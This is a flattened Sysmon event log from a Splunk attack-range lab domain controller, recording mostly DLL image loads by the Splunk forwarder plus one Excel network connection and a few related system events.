Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B1BABFCBF08A43A623F814830E378E6B,SHA256=8ED0FE7B1A02F6F1B85990F3CC0186CB1B98823B2429C8E4E0DAC7EE65669C83,IMPHASH=00000000000000000000000000000000falsetrue 734700x800000000000000053636Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:18.707{7BD73061-73B6-613B-800B-00000000F001}3180C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 734700x800000000000000053635Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:18.707{7BD73061-73B6-613B-800B-00000000F001}3180C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\dbgcore.dll10.0.14321.1024 (debuggers(dbg).210127-1811)Windows Core Debugging HelpersMicrosoft® Windows® Operating SystemMicrosoftDBGCORE.DLLMD5=72E8FEC8419AB470FB737883463688FE,SHA256=1DA7D2D2D1C4E6EC17101A4997C4AA610818730D63C72C1D2084ABA3F25C5146,IMPHASH=F67CBD9561C1FEF51B817BA184E81D2EtrueMicrosoft WindowsValid 734700x800000000000000053634Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:18.707{7BD73061-73B6-613B-800B-00000000F001}3180C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\dbghelp.dll10.0.14321.1024 (rs1_release.160715-1616)Windows Image HelperMicrosoft® Windows® Operating SystemMicrosoftDBGHELP.DLLMD5=2C92DF5D32661FB4B81B08B72B2102A7,SHA256=BCEF4DEBDE7D8D6916EE3D3E5E63A725E03A058AABCD7DD49DF9D48B16E96D1A,IMPHASH=E7FD2920222985E31019D022BB39EFBEtrueMicrosoft WindowsValid 23542300x800000000000000053633Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:18.538{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=DCDBBF91B007A647DF16CC2F8FB9067F,SHA256=FDB0D38C4FC503296182245EA4EE71AC5B5B986007D8BB3398CB06027B6BB492,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 734700x800000000000000053632Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:18.522{7BD73061-73B6-613B-800B-00000000F001}3180C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\cryptbase.dll10.0.14393.0 (rs1_release.160715-1616)Base cryptographic API DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptbase.dllMD5=51FCB0FDEFCB9A3E4A1DC8C8673BC63C,SHA256=63A0E1A76B7ABCF56E44B548568649FFB6B5609402746D48A4DC77CCED20F5FE,IMPHASH=9E9C9DFD04CDDF2B6F1412BF096AEAF4trueMicrosoft WindowsValid 734700x800000000000000053631Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:18.522{7BD73061-73B6-613B-800B-00000000F001}3180C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\rsaenh.dll10.0.14393.4467 (rs1_release.210604-1844)Microsoft Enhanced Cryptographic ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationrsaenh.dllMD5=28140830C342F475A597B2D54C42DFFA,SHA256=99E23D0177C6DC59AD72DEEC46CFB995828EF567F001261BC65532B6DDEAD862,IMPHASH=C918D75BDB7774C087BB6C0C9C0A7686trueMicrosoft WindowsValid 734700x800000000000000053630Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:18.522{7BD73061-73B6-613B-800B-00000000F001}3180C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\cryptsp.dll10.0.14393.2969 (rs1_release.190503-1820)Cryptographic Service Provider APIMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptsp.dllMD5=9500AE4C4B639FEAEED0CC6C39F45149,SHA256=C1055D4B9A854282336A5404CA0FCB1A2EBC3417600035338C9CDFC7B8D0778C,IMPHASH=96CBD1B5C0EA88B677BA3BB5FD009869trueMicrosoft WindowsValid 734700x800000000000000053629Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:18.522{7BD73061-73B6-613B-800B-00000000F001}3180C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\srvcli.dll10.0.14393.0 (rs1_release.160715-1616)Server Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationSRVCLI.DLLMD5=656F846CAED76C6FC5C76E8BACEF4EF6,SHA256=DFDE27C086764ACC1EA3E6A4E2BA50C2AB532F9E1D99203861F51910A8D850FB,IMPHASH=B15A9E7274075AC5A54930989FAC32E4trueMicrosoft WindowsValid 734700x800000000000000053628Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:18.522{7BD73061-73B6-613B-800B-00000000F001}3180C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000053627Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:18.522{7BD73061-73B6-613B-800B-00000000F001}3180C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\wkscli.dll10.0.14393.0 (rs1_release.160715-1616)Workstation Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWKSCLI.DLLMD5=3DCBAE237E4E1F0EBE8E7DC053F778C4,SHA256=C3331CCBE71CC98A5F1BC013F1C0218FE194CA7B497DDF706BF9025AB5A7B330,IMPHASH=050C8F7AA588BF04847F59B2EFAE366AtrueMicrosoft WindowsValid 354300x800000000000000053626Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:15.061{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59659-false104.46.162.226-443https 734700x800000000000000053625Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:18.506{7BD73061-73B6-613B-800B-00000000F001}3180C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\netutils.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API Helpers DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNETUTILS.DLLMD5=504739A17F3A05531258784275A6F375,SHA256=A931C54C47B454407990241DB12BD209AC219C55F026ADDED427A9E84A409923,IMPHASH=7D1B32891B9173ED71ED6C18DEFEE578trueMicrosoft WindowsValid 734700x800000000000000053624Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:18.506{7BD73061-73B6-613B-800B-00000000F001}3180C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\netapi32.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNetApi32.DLLMD5=F55166956AEAD05A141BA7E80B90AB7B,SHA256=B9BCF21D7F7E771C388C469B2611E8946166C62005B56D72421060DABFF7093F,IMPHASH=2D83F1DFF12EFB449C1FCD6634700369trueMicrosoft WindowsValid 734700x800000000000000053623Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:18.491{7BD73061-73B6-613B-800B-00000000F001}3180C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\msvcp140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationmsvcp140.dllMD5=BA72C2F6F465926980ADC2FB7F8B3490,SHA256=86881A7054532019291C162F0A8177980C1C2B45490F7E88543F22915D08D9FF,IMPHASH=ADF99B9EA3A1F76C33522F96772BC4DDtrueMicrosoft CorporationValid 734700x800000000000000053622Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:18.491{7BD73061-73B6-613B-800B-00000000F001}3180C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000053621Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:18.491{7BD73061-73B6-613B-800B-00000000F001}3180C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000053620Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:18.491{7BD73061-73B6-613B-800B-00000000F001}3180C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000053619Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:18.491{7BD73061-73B6-613B-800B-00000000F001}3180C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000053618Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:18.491{7BD73061-73B6-613B-800B-00000000F001}3180C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000053617Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:18.491{7BD73061-73B6-613B-800B-00000000F001}3180C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\ole32.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft OLE for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationOLE32.DLLMD5=676B0A1FB2A01D19AECB1F19883B6FC4,SHA256=56DEB219840DBAF9DAF645AD5D79AF9AB05F20E688382854DD487F440B257552,IMPHASH=9724475F92787AFC45A3BA458C0DCDC5trueMicrosoft WindowsValid 734700x800000000000000053616Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:18.491{7BD73061-73B6-613B-800B-00000000F001}3180C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000053615Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:18.491{7BD73061-73B6-613B-800B-00000000F001}3180C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000053614Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:18.491{7BD73061-73B6-613B-800B-00000000F001}3180C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\Wldap32.dll10.0.14393.3269 (rs1_release.190929-1234)Win32 LDAP API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWLDAP32.DLLMD5=12D6C3E8AC705BB42D377C05714F551C,SHA256=E67F6DB96F062A319312C365F1F55B2B38B0F90B77FFDA2522418709CBA45EB3,IMPHASH=D13722FCCB1CDD38974ADB7277D98799trueMicrosoft WindowsValid 734700x800000000000000053613Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:18.491{7BD73061-73B6-613B-800B-00000000F001}3180C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\ws2_32.dll10.0.14393.3241 (rs1_release_inmarket.190910-1801)Windows Socket 2.0 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft WindowsValid 734700x800000000000000053612Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:18.491{7BD73061-73B6-613B-800B-00000000F001}3180C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\adsldpc.dll10.0.14393.0 (rs1_release.160715-1616)ADs LDAP Provider C DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationadsldpcMD5=F03FD7F523CFDBB96B0F3B8012FC161D,SHA256=8218E5AC2D7A52A2D50CD8D3CC8AA8CE4E37D1BDECFA62BC2637AA32A01CBA54,IMPHASH=AFF2E9AF6DD20912DC1E604BDBCA3761trueMicrosoft WindowsValid 734700x800000000000000053611Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:18.491{7BD73061-73B6-613B-800B-00000000F001}3180C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 734700x800000000000000053610Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:18.491{7BD73061-73B6-613B-800B-00000000F001}3180C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\vcruntime140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationvcruntime140.dllMD5=0C583614EB8FFB4C8C2D9E9880220F1D,SHA256=6CADB4FEF773C23B511ACC8B715A084815C6E41DD8C694BC70090A97B3B03FB9,IMPHASH=2CB5DA5225E972A08F32D04B8085DC7EtrueMicrosoft CorporationValid 734700x800000000000000053609Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:18.491{7BD73061-73B6-613B-800B-00000000F001}3180C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\archive.dll-----MD5=98978F08A7A0D24C92FE8DC5287A8258,SHA256=CBB940A38E834C0BE44884C667863F76D6700D564043F90B3EB813370C3174E7,IMPHASH=86B04733169A315F437478D1C9AA6193trueSplunk, Inc.Valid 734700x800000000000000053608Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:18.491{7BD73061-73B6-613B-800B-00000000F001}3180C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000053607Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:18.491{7BD73061-73B6-613B-800B-00000000F001}3180C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\libeay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/libeay32.dllMD5=6445BD4247E3956B244772F3C415585F,SHA256=2B08FC9E160AD0F698226DA3E30A12551E8EBCCA1E7287E3915EC62B58151A78,IMPHASH=838F909F0A52D977E0B8662364FA0BFEtrueSplunk, Inc.Valid 734700x800000000000000053606Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:18.491{7BD73061-73B6-613B-800B-00000000F001}3180C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec-openssl.dll-----MD5=F30BB43EC30BE50400780223450492CD,SHA256=867D0453E285A5C29A4EFA039D2399662DCCAC98F88C46B0A41CEFB6B68DD836,IMPHASH=464BF3FDF330E6A15D24CC679EF7F72EtrueSplunk, Inc.Valid 734700x800000000000000053605Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:18.491{7BD73061-73B6-613B-800B-00000000F001}3180C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec.dll-----MD5=D98BAB348C28C8CFCC11EDB575E2557A,SHA256=ADA3F1256B175ECC390F126D2730D7A1AAB5A53F1AF205A7667D8010416602F9,IMPHASH=3295DC2518E43BEF226F8847873D20C2trueSplunk, Inc.Valid 734700x800000000000000053604Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:18.491{7BD73061-73B6-613B-800B-00000000F001}3180C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000053603Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:18.491{7BD73061-73B6-613B-800B-00000000F001}3180C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\ssleay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/ssleay32.dllMD5=B20FA07A7A61791EE537B5945429E141,SHA256=EF53BC2AB58BC548EFA249B0B8F2E1FBB9D4739EF27B0C67DFF1468D555329D3,IMPHASH=E09B42A7EA1725DA2CD99223AD969C63trueSplunk, Inc.Valid 734700x800000000000000053602Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:18.491{7BD73061-73B6-613B-800B-00000000F001}3180C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\libxslt.dll-----MD5=B8D3119CE62331C6A9B170DA0A608F28,SHA256=7D6C6B7C542B4E67AA468FEB12044E2EE34CE8F8A68C7665D7861F3363B6E66A,IMPHASH=06C8C57E25207671F4639FDBFA0212ECtrueSplunk, Inc.Valid 734700x800000000000000053601Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:18.491{7BD73061-73B6-613B-800B-00000000F001}3180C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000053600Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:18.491{7BD73061-73B6-613B-800B-00000000F001}3180C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000053599Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:18.491{7BD73061-73B6-613B-800B-00000000F001}3180C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\libxml2.dll2.9.9libxml2 librarylibxml2-libxml2.dllMD5=0E7B7B3B25A2F094EB3A7BAF471154B8,SHA256=6CFAC8D8D5B7345F2C6CC82CBF8F9DD475881EA260346BE283E52B822F2CCAC1,IMPHASH=6DA659461618DB73B9BD17D114677D20trueSplunk, Inc.Valid 734700x800000000000000053598Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:18.491{7BD73061-73B6-613B-800B-00000000F001}3180C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\activeds.dll10.0.14393.4169 (rs1_release.210107-1130)ADs Router Layer DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationADsMD5=C62947CD1080E3B128B517AE91B22D6D,SHA256=6BB5D8967F822B5B1646DC9069212914D36C4D3D65E086AC0890B6A02112B438,IMPHASH=C7DF3F2CF025F0BEDA797705E4F4AFBBtrueMicrosoft WindowsValid 734700x800000000000000053597Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:18.491{7BD73061-73B6-613B-800B-00000000F001}3180C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\fltLib.dll10.0.14393.0 (rs1_release.160715-1616)Filter LibraryMicrosoft® Windows® Operating SystemMicrosoft CorporationfilterLib.dllMD5=051ABD8360BDA63A1BC77C662FBF0A25,SHA256=C914E2DBAEC2C9A11923A984B30A979637D3A27B3C29E93F4C90FB1D9FBC518F,IMPHASH=74D3C2DA8B6F9861866B866AE40683D3trueMicrosoft WindowsValid 734700x800000000000000053596Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:18.490{7BD73061-73B6-613B-800B-00000000F001}3180C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 10341000x800000000000000053595Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:18.489{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-73B6-613B-800B-00000000F001}3180C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000053594Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:18.489{7BD73061-73B6-613B-800B-00000000F001}3180C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000053593Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:18.488{7BD73061-73B6-613B-800B-00000000F001}3180C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000053592Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:18.488{7BD73061-73B6-613B-800B-00000000F001}3180C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000053591Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:18.488{7BD73061-73B6-613B-800B-00000000F001}3180C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe10.0.10011.16384SplunkMonNoHandle Control ProgramWindows (R) Win 7 DDK driverWindows (R) Win 7 DDK 